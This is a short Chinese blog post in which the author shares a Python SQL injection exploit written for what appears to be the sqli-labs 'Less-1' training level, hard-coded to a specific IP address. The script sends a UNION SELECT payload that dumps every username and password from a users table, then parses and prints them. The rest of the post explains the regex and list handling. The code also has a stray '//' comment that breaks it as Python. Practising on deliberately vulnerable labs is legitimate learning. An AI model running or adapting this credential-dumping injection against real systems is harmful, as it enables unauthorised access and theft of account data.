唉……谈起代码,还是太菜了,晚上写了下exp。
附上代码:
#coding:utf-8 import urllib.request import re def get_page(url): payload='?id=-1%27union+select+1,group_concat("[",id,"_",username,"_",password,"]"),3+from+users--+' req = urllib.request.Request(url+payload,method='GET') response = urllib.request.urlopen(req) page = response.read().decode('utf-8') //读取网页源代码 return page def exploit(url): html = get_page(url) m=re.compile(".*?>Your Login name:(.*?) .*?",re.S) try: lt=m.findall(html) list=lt[0].split(',') for i in list: print(i,end='\n') except: print("Error!") url = 'http://43.247.91.228:84/Less-1/' exploit(url)
re.S
将字符串作为整体进行正则匹配,不加可能会出错。
(.*?)
是我们要匹配的内容。
complie制定正则的规则m,findall再以规则m去源代码中进行正则匹配。
list=lt[0].split(',') for i in list: print(i,end='\n')
lt[0]获取lt列表第一个位置元素,并将0位置元素以“,” 分割,最后送入新list列表中。
接着,循环遍历输出列表中的值,并且每一个值,以回车作为结尾,便得到了我们要的结果。